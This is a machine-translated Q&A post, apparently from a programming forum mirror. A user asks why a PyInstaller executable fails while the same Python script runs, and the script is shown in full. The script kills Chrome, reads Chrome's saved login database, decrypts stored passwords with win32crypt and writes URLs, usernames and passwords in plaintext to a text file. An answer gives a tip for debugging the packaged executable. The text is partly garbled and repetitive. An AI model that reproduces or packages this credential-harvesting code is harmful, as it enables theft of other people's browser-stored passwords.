Python Can';t以.exe格式运行脚本,但它以py文件格式正常运行
我下载了pyinstaller,以便将python脚本转换为可执行程序。当我以python文件的形式运行代码时,第三行Python Can';t以.exe格式运行脚本,但它以py文件格式正常运行,python,pywin32,Python,Pywin32,我下载了pyinstaller,以便将python脚本转换为可执行程序。当我以python文件的形式运行代码时,第三行导入win32crypt上只有一个错误,它显示了这个“错误未解决导入'win32crypt',但它工作正常。 但是,当我将脚本转换为应用程序(.exe文件)时,它无法工作(没有任何错误消息)。我的脚本是从Google Chrome电子邮件/密码中复制的,然后将这些信息粘贴到txt文件中 我已经使用以下命令从控制台安装了pywin32:pip install pywin32\ 这是
导入win32crypt
上只有一个错误,它显示了这个“错误未解决导入'win32crypt'
,但它工作正常。
但是,当我将脚本转换为应用程序(.exe文件)时,它无法工作(没有任何错误消息)。我的脚本是从Google Chrome电子邮件/密码中复制的,然后将这些信息粘贴到txt文件中
我已经使用以下命令从控制台安装了pywin32:pip install pywin32
\
这是我的代码
import os
import sqlite3
import win32crypt
f= open("logins.txt","w")
def closeChrome():
os.system("taskkill /im chrome.exe /f")
def connectDb():
dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
connectionObj=sqlite3.connect(dBpath)
cursorObj=connectionObj.cursor()
statement="SELECT origin_url,username_value,password_value FROM logins"
cursorObj.execute(statement)
data=cursorObj.fetchall()
for url,username,password in data:
password=win32crypt.CryptUnprotectData(password)
f.write(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(f"url: {url}, username: {username}, password: {password[1].decode('utf-8')}\n")
print(".................................")
closeChrome()
connectDb()
谢谢:)请再次使用pyinstaller,但不要使用参数
-w
,然后控制台将显示错误。我不会转换内部带有-w的文件。。。。。我的命令是pyinstaller file.py